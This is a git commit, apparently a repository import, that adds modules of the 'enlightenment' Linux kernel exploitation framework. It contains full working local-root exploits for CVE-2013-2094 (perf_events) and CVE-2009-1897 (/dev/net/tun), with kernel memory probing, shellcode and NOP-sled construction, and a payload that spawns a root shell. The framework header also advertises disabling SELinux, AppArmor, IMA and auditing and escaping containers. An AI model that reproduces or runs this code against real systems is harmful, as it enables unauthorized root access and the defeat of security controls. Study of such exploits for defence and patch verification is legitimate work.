add skidcode
This commit is contained in:
parent
fe10074c38
commit
0ee7cc155c
|
@ -0,0 +1,4 @@
|
|||
*.o
|
||||
*.so
|
||||
exploit
|
||||
pwnkernel
|
|
@ -0,0 +1,618 @@
|
|||
/*
|
||||
* original exploit by sd@fucksheep.org, written in 2010
|
||||
* heavily modified by spender to do things and stuff
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE 1
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <syscall.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/uio.h>
|
||||
#include "exp_framework.h"
|
||||
#include <assert.h>
|
||||
|
||||
#define BIT64 (sizeof(unsigned long) != sizeof(unsigned int))
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
int is_old_kernel = 0;
|
||||
|
||||
char *desc = "Abacus: Linux 2.6.37 -> 3.8.8 PERF_EVENTS local root";
|
||||
char *cve = "CVE-2013-2094";
|
||||
|
||||
int requires_null_page = 0;
|
||||
|
||||
#define JMPLABELBASE64 0x1780000000
|
||||
#define JMPLABELBASE32 0x01980000
|
||||
#define JMPLABELBASE (BIT64 ? JMPLABELBASE64 : JMPLABELBASE32)
|
||||
#define JMPLABELNOMODBASE64 0xd80000000
|
||||
#define JMPLABELNOMODBASE32 0x40000000
|
||||
#define JMPLABELNOMODBASE (BIT64 ? JMPLABELNOMODBASE64 : JMPLABELNOMODBASE32)
|
||||
#define BASE64 0x380000000
|
||||
#define BASE32 0x80000000
|
||||
#define BASE (BIT64 ? BASE64 : BASE32)
|
||||
#define SIZE64 0x04000000
|
||||
#define SIZE32 0x01000000
|
||||
#define SIZE (BIT64 ? SIZE64 : SIZE32)
|
||||
#define KSIZE (BIT64 ? 0x2000000 : 0x2000)
|
||||
#define SYSCALL_NO (BIT64 ? 298 : 336)
|
||||
#define MAGICVAL (BIT64 ? 0x44444443 : 0x44444445)
|
||||
|
||||
unsigned long num_incs1;
|
||||
unsigned long probe1addr;
|
||||
unsigned long probe2addr;
|
||||
unsigned long probebase;
|
||||
static int wrap_val;
|
||||
static int structsize;
|
||||
static int has_jmplabel;
|
||||
static int is_unaligned;
|
||||
static int target_offset;
|
||||
static int computed_index;
|
||||
static unsigned long target_addr;
|
||||
static unsigned long array_base;
|
||||
unsigned long kbase;
|
||||
static int xen_pv;
|
||||
|
||||
struct {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed)) idt;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ring0_cleanup(void)
|
||||
{
|
||||
if (BIT64) {
|
||||
if (xen_pv) {
|
||||
*(unsigned int *)(target_addr + target_offset) = 0;
|
||||
} else {
|
||||
*(unsigned int *)(target_addr + target_offset) = 0xffffffff;
|
||||
}
|
||||
/* clean up the probe effects for redhat tears */
|
||||
*(unsigned int *)(array_base - structsize) = *(unsigned int *)(array_base - structsize) - num_incs1;
|
||||
*(unsigned int *)(array_base - (2 * structsize)) = *(unsigned int *)(array_base - (2 * structsize)) - 1;
|
||||
}
|
||||
/* on 32bit we let the kernel clean up for us */
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main_pid;
|
||||
int signals_dont_work[2];
|
||||
int total_children;
|
||||
|
||||
static int send_event(uint32_t off, int is_probe) {
|
||||
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x320 };
|
||||
int fd;
|
||||
|
||||
if ((int)off >= 0) {
|
||||
printf(" [-] Target is invalid, index is positive.\n");
|
||||
exit(1);
|
||||
}
|
||||
if (getpid() == main_pid)
|
||||
printf(" [+] Submitting index of %d to perf_event_open\n", (int)off);
|
||||
fd = syscall(SYSCALL_NO, buf, 0, -1, -1, 0);
|
||||
|
||||
if (fd < 0) {
|
||||
printf(" [-] System rejected creation of perf event. Either this system is patched, or a previous failed exploit was run against it.\n");
|
||||
if (is_probe || BIT64)
|
||||
exit(1);
|
||||
}
|
||||
/* we don't need to hold them open in the xen pv ops case on x64 */
|
||||
if (BIT64)
|
||||
close(fd);
|
||||
return fd;
|
||||
}
|
||||
|
||||
//static unsigned long security_ops;
|
||||
|
||||
void ptmx_trigger(void)
|
||||
{
|
||||
struct iovec iov;
|
||||
int fd;
|
||||
|
||||
fd = open("/dev/ptmx", O_RDWR);
|
||||
if (fd < 0) {
|
||||
printf(" [-] Unable to open /dev/ptmx\n");
|
||||
exit(1);
|
||||
}
|
||||
/* this choice is arbitrary */
|
||||
iov.iov_base = &iov;
|
||||
iov.iov_len = sizeof(iov);
|
||||
/* this one is not ;) */
|
||||
if (xen_pv && is_unaligned)
|
||||
writev(fd, &iov, 1);
|
||||
else
|
||||
readv(fd, &iov, 1);
|
||||
// won't reach here
|
||||
close(fd);
|
||||
}
|
||||
|
||||
|
||||
static void check_maxfiles(void)
|
||||
{
|
||||
unsigned long maxfiles;
|
||||
FILE *f = fopen("/proc/sys/fs/file-max", "r");
|
||||
if (f) {
|
||||
fscanf(f, "%lu", &maxfiles);
|
||||
fclose(f);
|
||||
if (maxfiles < kbase) {
|
||||
printf(" [-] Lack of sufficient RAM or low fs.file-max sysctl setting prevents our choice of exploitation.\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
/* !SMEP version */
|
||||
printf(" [!] Array base is %p\n", (void *)array_base);
|
||||
printf(" [!] Detected structure size of %d bytes\n", structsize);
|
||||
printf(" [!] Targeting %p\n", (void *)(array_base + (structsize * computed_index)));
|
||||
|
||||
#ifdef __x86_64__
|
||||
if (xen_pv) {
|
||||
int i;
|
||||
for (i = 0; i < kbase; i++) {
|
||||
send_event(computed_index, 0);
|
||||
}
|
||||
ptmx_trigger();
|
||||
} else {
|
||||
send_event(computed_index, 0);
|
||||
if (is_unaligned) {
|
||||
asm volatile (
|
||||
"pushfq\n"
|
||||
"orq $0x40000, (%rsp)\n"
|
||||
"popfq\n"
|
||||
"test %rax, 0x1(%rsp)\n"
|
||||
);
|
||||
} else {
|
||||
asm("int $0x4");
|
||||
}
|
||||
}
|
||||
#else
|
||||
{
|
||||
unsigned long kbase_counter = 0;
|
||||
int ret;
|
||||
int pipes[2];
|
||||
int i;
|
||||
char garbage;
|
||||
int max_open = 768;
|
||||
int real_max = 1024;
|
||||
struct rlimit rlim = { 0 };
|
||||
|
||||
|
||||
if (!getrlimit(RLIMIT_NOFILE, &rlim)) {
|
||||
real_max = rlim.rlim_max;
|
||||
max_open = rlim.rlim_max - 50;
|
||||
rlim.rlim_cur = rlim.rlim_max;
|
||||
if (setrlimit(RLIMIT_NOFILE, &rlim))
|
||||
max_open = 768;
|
||||
}
|
||||
|
||||
/* child notification/reaping code from zx2c4 */
|
||||
|
||||
pipe(pipes);
|
||||
pipe(signals_dont_work);
|
||||
|
||||
main_pid = getpid();
|
||||
|
||||
total_children = 0;
|
||||
|
||||
printf(" [!] Forking off %lu children to set required pointer value, please wait...\n", (kbase + max_open - 1) / max_open);
|
||||
|
||||
while (kbase_counter < kbase) {
|
||||
if (!fork()) {
|
||||
int x;
|
||||
int savefd1, savefd2;
|
||||
savefd1 = pipes[1];
|
||||
savefd2 = signals_dont_work[0];
|
||||
for (x = 0; x < real_max; x++)
|
||||
if (x != savefd1 && x != savefd2)
|
||||
close(x);
|
||||
for (x = 0; x < max_open; x++)
|
||||
send_event(computed_index, 0);
|
||||
write(pipes[1], &garbage, 1);
|
||||
read(signals_dont_work[0], &garbage, 1);
|
||||
_exit(0);
|
||||
}
|
||||
kbase_counter += max_open;
|
||||
total_children++;
|
||||
|
||||
}
|
||||
for (i = 0; i < total_children; i++)
|
||||
read(pipes[0], &garbage, 1);
|
||||
|
||||
ptmx_trigger();
|
||||
}
|
||||
#endif
|
||||
|
||||
/* SMEP/SMAP version, shift security_ops */
|
||||
//security_ops = (unsigned long)exp_state->get_kernel_sym("security_ops");
|
||||
//target_addr = security_ops;
|
||||
//target_offset = 0;
|
||||
//computed_index = -((array_base-target_addr-target_offset)/structsize);
|
||||
//
|
||||
//for (i = 0; i < sizeof(unsigned long); i++)
|
||||
// send_event(computed_index, 0);
|
||||
// add fancy trigger here
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
write(signals_dont_work[1], &total_children, total_children);
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
||||
|
||||
static unsigned char *map_page_file_fixed(unsigned long addr, int prot, int fd)
|
||||
{
|
||||
unsigned char *mem;
|
||||
|
||||
mem = (unsigned char *)mmap((void *)addr, 0x1000, prot, MAP_SHARED | MAP_FIXED, fd, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("unable to mmap file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return mem;
|
||||
}
|
||||
|
||||
static unsigned char *map_anon_page(void)
|
||||
{
|
||||
unsigned char *mem;
|
||||
|
||||
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("unable to mmap\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return mem;
|
||||
}
|
||||
|
||||
static void fill_file_with_char(const char *filename, unsigned char thechar)
|
||||
{
|
||||
int fd;
|
||||
unsigned char *mem;
|
||||
|
||||
fd = open(filename, O_CREAT | O_WRONLY, 0644);
|
||||
if (fd < 0) {
|
||||
printf("unable to create mmap file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mem = map_anon_page();
|
||||
memset(mem, thechar, 0x1000);
|
||||
write(fd, mem, 0x1000);
|
||||
close(fd);
|
||||
munmap(mem, 0x1000);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
static inline unsigned long page_align(unsigned long addr)
|
||||
{
|
||||
return addr & ~0x0FFFUL;
|
||||
}
|
||||
|
||||
/* 100% of the time this works every time
|
||||
* it's also completely ridiculous
|
||||
*
|
||||
* elito hungarian techniques!
|
||||
*/
|
||||
static int super_secure_probe_not_like_black_panther(void)
|
||||
{
|
||||
unsigned long bases[3] = { BASE, JMPLABELBASE, JMPLABELNOMODBASE };
|
||||
int uniquefds[3];
|
||||
unsigned long currunique;
|
||||
unsigned long p;
|
||||
unsigned long probe1page;
|
||||
int i, x;
|
||||
int fd1, fd2;
|
||||
unsigned int *probe;
|
||||
int mapidx = -1;
|
||||
unsigned long stride;
|
||||
unsigned long strideidx;
|
||||
unsigned long low, high;
|
||||
unsigned long ourbase;
|
||||
unsigned long sel;
|
||||
|
||||
fill_file_with_char("./lock_me_macaroni_1", 0x44);
|
||||
fill_file_with_char("./lock_me_macaroni_2", 0x44);
|
||||
fill_file_with_char("./lock_me_macaroni_3", 0x44);
|
||||
|
||||
uniquefds[0] = open("./lock_me_macaroni_1", O_RDWR);
|
||||
uniquefds[1] = open("./lock_me_macaroni_2", O_RDWR);
|
||||
uniquefds[2] = open("./lock_me_macaroni_3", O_RDWR);
|
||||
|
||||
if (uniquefds[0] < 0 || uniquefds[1] < 0 || uniquefds[2] < 0) {
|
||||
printf("Unable to open userland buffer files\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
unlink("./lock_me_macaroni_1");
|
||||
unlink("./lock_me_macaroni_2");
|
||||
unlink("./lock_me_macaroni_3");
|
||||
|
||||
printf(" [!] Securely probing with great effort\n");
|
||||
|
||||
/* isolate to a single map */
|
||||
for (i = 0; i < 3; i++) {
|
||||
for (p = bases[i]; p < bases[i] + SIZE; p += 0x1000) {
|
||||
map_page_file_fixed(p, PROT_READ | PROT_WRITE, uniquefds[i]);
|
||||
if (p == bases[i]) {
|
||||
char c;
|
||||
assert(!mlock((void *)p, 0x1000));
|
||||
/* set up pte */
|
||||
c = *(volatile char *)p;
|
||||
}
|
||||
}
|
||||
}
|
||||
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
|
||||
num_incs1++;
|
||||
for (i = 0; i < 3; i++) {
|
||||
probe = (unsigned int *)(bases[i]);
|
||||
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
|
||||
if (probe[x] == MAGICVAL) {
|
||||
mapidx = i;
|
||||
goto foundit;
|
||||
}
|
||||
}
|
||||
}
|
||||
foundit:
|
||||
if (!BIT64)
|
||||
close(fd1);
|
||||
|
||||
if (mapidx == -1) {
|
||||
printf(" [-] Unsupported configuration.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i = 0; i < 3; i++) {
|
||||
if (i != mapidx)
|
||||
munmap(bases[i], SIZE);
|
||||
}
|
||||
|
||||
ourbase = bases[mapidx];
|
||||
stride = SIZE / 2;
|
||||
low = ourbase;
|
||||
high = low + SIZE;
|
||||
|
||||
while (stride >= 0x1000) {
|
||||
for (p = low; p < high; p += stride) {
|
||||
memset((void *)p, 0x44, 0x1000);
|
||||
msync((void *)p, 0x1000, MS_SYNC);
|
||||
for (strideidx = 0; strideidx < stride/0x1000; strideidx++) {
|
||||
sel = (p < (low + stride)) ? 0 : 1;
|
||||
map_page_file_fixed(p + (strideidx * 0x1000), PROT_READ | PROT_WRITE, uniquefds[sel]);
|
||||
}
|
||||
}
|
||||
fd1 = send_event(BIT64 ? -1 : -(1024 * 1024 * 1024)/4, 1);
|
||||
num_incs1++;
|
||||
probe = (unsigned int *)low;
|
||||
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
|
||||
if (probe[x] == MAGICVAL) {
|
||||
high = low + stride;
|
||||
probe1addr = (unsigned long)&probe[x];
|
||||
}
|
||||
}
|
||||
probe = (unsigned int *)(low + stride);
|
||||
for (x = 0; x < 0x1000/sizeof(unsigned int); x++) {
|
||||
if (probe[x] == MAGICVAL) {
|
||||
low = low + stride;
|
||||
probe1addr = (unsigned long)&probe[x];
|
||||
}
|
||||
}
|
||||
if (!BIT64)
|
||||
close(fd1);
|
||||
stride /= 2;
|
||||
}
|
||||
|
||||
probe1page = page_align(probe1addr);
|
||||
|
||||
if (!probe1addr) {
|
||||
printf(" [-] Unsupported configuration.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
gotprobe:
|
||||
/* blow away old mappings here */
|
||||
map_page_file_fixed(probe1page - 0x1000, PROT_READ | PROT_WRITE, uniquefds[0]);
|
||||
map_page_file_fixed(probe1page, PROT_READ | PROT_WRITE, uniquefds[1]);
|
||||
map_page_file_fixed(probe1page + 0x1000, PROT_READ | PROT_WRITE, uniquefds[2]);
|
||||
|
||||
memset((void *)(probe1page - 0x1000), 0x44, 0x3000);
|
||||
|
||||
fd2 = send_event(BIT64 ? -2 : -(1024 * 1024 * 1024)/4-1, 1);
|
||||
probe = (unsigned int *)(probe1page - 0x1000);
|
||||
for (i = 0; i < 0x3000/sizeof(unsigned int); i++) {
|
||||
if (probe[i] == MAGICVAL) {
|
||||
probe2addr = (unsigned long)&probe[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!BIT64)
|
||||
close(fd2);
|
||||
|
||||
close(uniquefds[0]);
|
||||
close(uniquefds[1]);
|
||||
close(uniquefds[2]);
|
||||
|
||||
return abs(probe1addr - probe2addr);
|
||||
}
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
unsigned char *mem;
|
||||
unsigned char *p;
|
||||
int fd;
|
||||
unsigned long idx;
|
||||
char c;
|
||||
|
||||
assert(!mlock(&num_incs1, 0x1000));
|
||||
|
||||
structsize = super_secure_probe_not_like_black_panther();
|
||||
if (structsize > 4)
|
||||
has_jmplabel = 1;
|
||||
wrap_val = (probe2addr - probebase) + 2 * structsize;
|
||||
|
||||
if (BIT64) {
|
||||
/* use masked kernel range here */
|
||||
asm ("sidt %0" : "=m" (idt));
|
||||
kbase = idt.addr & 0xff000000;
|
||||
target_addr = idt.addr;
|
||||
array_base = 0xffffffff80000000UL | wrap_val;
|
||||
if ((target_addr & 0xfffffffff0000000UL) != 0xffffffff80000000UL) {
|
||||
xen_pv = 1;
|
||||
printf(" [!] Xen PV possibly detected, switching to alternative target\n");
|
||||
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
|
||||
if (!target_addr) {
|
||||
printf(" [-] Symbols required for Xen PV exploitation (in this exploit).\n");
|
||||
exit(1);
|
||||
}
|
||||
target_offset = 4 * sizeof(unsigned long);
|
||||
if (has_jmplabel) {
|
||||
if ((array_base - target_addr - target_offset) % structsize) {
|
||||
is_unaligned = 1;
|
||||
target_offset = 5 * sizeof(unsigned long);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
/* do we need to target AC instead? */
|
||||
if (has_jmplabel) {
|
||||
if ((array_base - target_addr) % structsize) {
|
||||
is_unaligned = 1;
|
||||
target_offset = 0x118;
|
||||
} else
|
||||
target_offset = 0x48;
|
||||
} else
|
||||
target_offset = 0x48;
|
||||
}
|
||||
computed_index = -((array_base-target_addr-target_offset)/structsize);
|
||||
} else {
|
||||
int brute;
|
||||
|
||||
/* use just above mmap_min_addr here */
|
||||
kbase = 0;
|
||||
while (1) {
|
||||
mem = (unsigned char *)mmap((void *)kbase, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (mem != MAP_FAILED) {
|
||||
printf(" [!] Placing payload just above mmap_min_addr at %p\n", (void *)kbase);
|
||||
check_maxfiles();
|
||||
munmap((void *)kbase, 0x1000);
|
||||
break;
|
||||
} else
|
||||
kbase += 0x1000;
|
||||
}
|
||||
array_base = (unsigned long)exp_state->get_kernel_sym("perf_swevent_enabled");
|
||||
target_addr = (unsigned long)exp_state->get_kernel_sym("ptmx_fops");
|
||||
if (!target_addr || !array_base) {
|
||||
printf(" [-] Symbols required for i386 exploitation (in this exploit).\n");
|
||||
exit(1);
|
||||
}
|
||||
target_offset = 4 * sizeof(unsigned long);
|
||||
computed_index = 0;
|
||||
for (brute = -1; brute < 0; brute--) {
|
||||
if (array_base + (brute * structsize) == (target_addr + target_offset)) {
|
||||
computed_index = brute;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!computed_index) {
|
||||
printf(" [-] Unable to reach ptmx_fops target under this configuration.\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
fill_file_with_char("./suckit_selinux_nopz", 0x90);
|
||||
|
||||
fd = open("./suckit_selinux", O_CREAT | O_WRONLY, 0644);
|
||||
if (fd < 0) {
|
||||
printf("unable to create shellcode file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
mem = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("unable to mmap nop sled\n");
|
||||
goto error;
|
||||
}
|
||||
memset(mem, 0x90, 0x1000);
|
||||
p = (unsigned char *)(mem + 0x1000 - 3 - (2 * (2 + 4 + sizeof(unsigned long))));
|
||||
if (BIT64) {
|
||||
// swapgs
|
||||
p[0] = 0x0f;
|
||||
p[1] = 0x01;
|
||||
p[2] = 0xf8;
|
||||
}
|
||||
p += 3;
|
||||
// call own_the_kernel
|
||||
p[0] = 0xff;
|
||||
p[1] = 0x15;
|
||||
*(unsigned int *)&p[2] = BIT64 ? 6 : kbase + KSIZE - (2 * sizeof(unsigned long));
|
||||
// call exit_kernel
|
||||
p[6] = 0xff;
|
||||
p[7] = 0x25;
|
||||
*(unsigned int *)&p[8] = BIT64 ? sizeof(unsigned long) : kbase + KSIZE - sizeof(unsigned long);
|
||||
*(unsigned long *)&p[12] = (unsigned long)exp_state->own_the_kernel;
|
||||
*(unsigned long *)&p[12 + sizeof(unsigned long)] = (unsigned long)exp_state->exit_kernel;
|
||||
|
||||
write(fd, mem, 0x1000);
|
||||
close(fd);
|
||||
munmap(mem, 0x1000);
|
||||
|
||||
fd = open("./suckit_selinux_nopz", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
printf("unable to open nop sled file for reading\n");
|
||||
goto error;
|
||||
}
|
||||
// map in nops and page them in
|
||||
for (idx = 0; idx < (KSIZE/0x1000)-1; idx++) {
|
||||
mem = (unsigned char *)mmap((void *)(kbase + idx * 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
|
||||
if (mem != (unsigned char *)(kbase + idx * 0x1000)) {
|
||||
printf("unable to mmap\n");
|
||||
goto error;
|
||||
}
|
||||
if (!idx)
|
||||
assert(!mlock(mem, 0x1000));
|
||||
c = *(volatile char *)mem;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("./suckit_selinux", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
printf("unable to open shellcode file for reading\n");
|
||||
goto error;
|
||||
}
|
||||
mem = (unsigned char *)mmap((void *)(kbase + KSIZE - 0x1000), 0x1000, PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE, fd, 0);
|
||||
close(fd);
|
||||
if (mem != (unsigned char *)(kbase + KSIZE - 0x1000)) {
|
||||
printf("unable to mmap\n");
|
||||
goto error;
|
||||
}
|
||||
assert(!mlock(mem, 0x1000));
|
||||
c = *(volatile char *)mem;
|
||||
|
||||
unlink("./suckit_selinux");
|
||||
unlink("./suckit_selinux_nopz");
|
||||
|
||||
return 0;
|
||||
error:
|
||||
unlink("./suckit_selinux");
|
||||
unlink("./suckit_selinux_nopz");
|
||||
exit(1);
|
||||
}
|
|
@ -0,0 +1,87 @@
|
|||
/* wunderbar */
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
#define OFFSET_OF_FLAGS 0x8
|
||||
|
||||
struct sock {
|
||||
char gibberish1[0x60];
|
||||
char gibberish2[0xe0];
|
||||
unsigned long gibberish3[0x50];
|
||||
};
|
||||
|
||||
char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root";
|
||||
char *cve = "CVE-2009-1897";
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
struct sock *sk = (struct sock *)buf;
|
||||
struct pollfd pfd;
|
||||
unsigned long target_addr;
|
||||
int i;
|
||||
int fd;
|
||||
|
||||
fd = open("/dev/net/tun", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
fprintf(stdout, "Unable to open /dev/net/tun!\n");
|
||||
return 0;
|
||||
}
|
||||
close(fd);
|
||||
fd = open("/dev/net/tun", O_RDWR);
|
||||
if (fd < 0) {
|
||||
fprintf(stdout, "Unable to open /dev/net/tun!\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11);
|
||||
|
||||
memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
|
||||
memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
|
||||
for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
|
||||
sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
|
||||
|
||||
pfd.fd = fd;
|
||||
pfd.events = POLLIN | POLLOUT;
|
||||
poll(&pfd, 1, 0);
|
||||
|
||||
close(fd);
|
||||
|
||||
return EXECUTE_AT_NONZERO_OFFSET | 1;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int requires_symbols_to_trigger = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
int fd;
|
||||
fd = open("/dev/net/tun", O_RDONLY);
|
||||
if (fd < 0)
|
||||
return 0;
|
||||
mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
close(fd);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,129 @@
|
|||
/* enlightenment 200912092327
|
||||
|
||||
enlightenment is an exploitation framework mostly geared towards the
|
||||
exploitation of null ptr dereference bugs, though its routines are
|
||||
applicable to overflows and other bugclasses as well. It's a public
|
||||
demonstration of the capabilities of kernel exploits, useful for
|
||||
commercial pentesting or verifying the security of your own systems.
|
||||
|
||||
enlightenment supports:
|
||||
all kernels 2.4 and 2.6/3.x (both x86 and x64)
|
||||
setting *uid/ *gid 0
|
||||
clearing supplementary groups
|
||||
raising to full capabilities
|
||||
pre and post cred structures
|
||||
breaking out of chroots and mnt namespaces
|
||||
breaking out of vserver containers
|
||||
breaking out of OpenVZ containers
|
||||
breaking out of user namespaces
|
||||
disabling No New Privs (NNP)
|
||||
disabling SECCOMP
|
||||
automatically switches from interrupt disabled -> process context
|
||||
uses kernel's internal symbol table for added functionality
|
||||
page table parsing on x64 for reliability in code scanning
|
||||
cloning of init's cred structure (when no cred symbols are present)
|
||||
CONFIG_DEBUG_RODATA bypass (both old and new versions)
|
||||
xen hypercalls for .text modification on new DEBUG_RODATA under Xen
|
||||
SELinux execmod/execmem bypassing
|
||||
SELinux disabling (and faking continued enforcement)
|
||||
even if the toggling variable has no generated symbol
|
||||
IMA disabling (rendering its TPM-based integrity checks worthless)
|
||||
Apparmor disabling
|
||||
Auditing disabling
|
||||
Tomoyo disabling
|
||||
generic LSM disabling
|
||||
all public methods of bypassing mmap_min_addr
|
||||
SMEP detection
|
||||
defeats proposed "exploit detection" : https://lkml.org/lkml/2013/12/12/358
|
||||
pearls of wisdom from some of the greatest writers and thinkers of
|
||||
the past couple centuries :)
|
||||
|
||||
To create your own exploit module for enlightenment, just name it
|
||||
exp_whatever.c
|
||||
It will be auto-compiled by the shell script and thrown into
|
||||
the list of loaded exploit modules
|
||||
|
||||
if you want to use the list of non-NULL exploits:
|
||||
./run_nonnull_exploits.sh
|
||||
if you want to run the list of NULL ptr deref exploits:
|
||||
./run_null_exploits.sh
|
||||
|
||||
Each module must have the following features:
|
||||
It must include this header file, exp_framework.h
|
||||
A description of the exploit, the variable being named "desc"
|
||||
A "prepare" function: int prepare(unsigned char *ptr)
|
||||
where ptr is the ptr to the NULL mapping, which you are able to write to
|
||||
This function can return the flags described below for prepare_the_exploit
|
||||
Return 0 for failure otherwise
|
||||
A "trigger" function: int trigger(void)
|
||||
Return 0 for failure, nonzero for success
|
||||
A "post" function: int post(void)
|
||||
This function can return the flags described below for post_exploit
|
||||
A "requires_null_page" int: int requires_null_page;
|
||||
This should be 1 if a NULL page needs to be mapped, and 0 otherwise
|
||||
(if you want to use the framework to exploit non-NULL ptr bugs)
|
||||
A "ring0_cleanup" function: int ring0_cleanup(void)
|
||||
Return value is ignored, this function is optional
|
||||
A "get_exploit_state_ptr" function:
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
Generally this will always be implemented as:
|
||||
struct *exp_state;
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
It gives you access to the exploit_state structure listed below,
|
||||
get_kernel_sym allows you to resolve symbols
|
||||
own_the_kernel is the function that takes control of the kernel
|
||||
(in case you need its address to set up your buffer)
|
||||
the other variables describe the exploit environment, so you can
|
||||
for instance, loop through a number of vulnerable socket domains
|
||||
until you detect ring0 execution has occurred.
|
||||
|
||||
That's it!
|
||||
*/
|
||||
|
||||
|
||||
/* defines for prepare_the_exploit */
|
||||
/* for null fptr derefs */
|
||||
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
|
||||
/* for overflows */
|
||||
#define EXIT_KERNEL_TO_NULL 0x31336
|
||||
|
||||
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
|
||||
|
||||
/* defines for post_exploit */
|
||||
#define RUN_ROOTSHELL 0x5150
|
||||
#define CHMOD_SHELL 0x5151
|
||||
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
|
||||
|
||||
typedef unsigned long (*_get_kernel_sym)(char *name);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
|
||||
|
||||
struct exploit_state {
|
||||
_get_kernel_sym get_kernel_sym;
|
||||
_kallsyms_lookup_name kallsyms_lookup_name;
|
||||
void *own_the_kernel;
|
||||
void *exit_kernel;
|
||||
char *exit_stack;
|
||||
int run_from_main;
|
||||
int got_ring0;
|
||||
int got_root;
|
||||
};
|
||||
|
||||
#define EFL_RESERVED1 (1 << 1)
|
||||
#define EFL_PARITY (1 << 2)
|
||||
#define EFL_ZEROFLAG (1 << 6)
|
||||
#define EFL_INTERRUPTENABLE (1 << 9)
|
||||
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
|
||||
|
||||
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
|
||||
/* for insta-iopl 3, for whatever reason!
|
||||
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
|
||||
*/
|
||||
|
||||
#define DISABLED_LSM 0x1
|
||||
#define DISABLED_IMA 0x2
|
||||
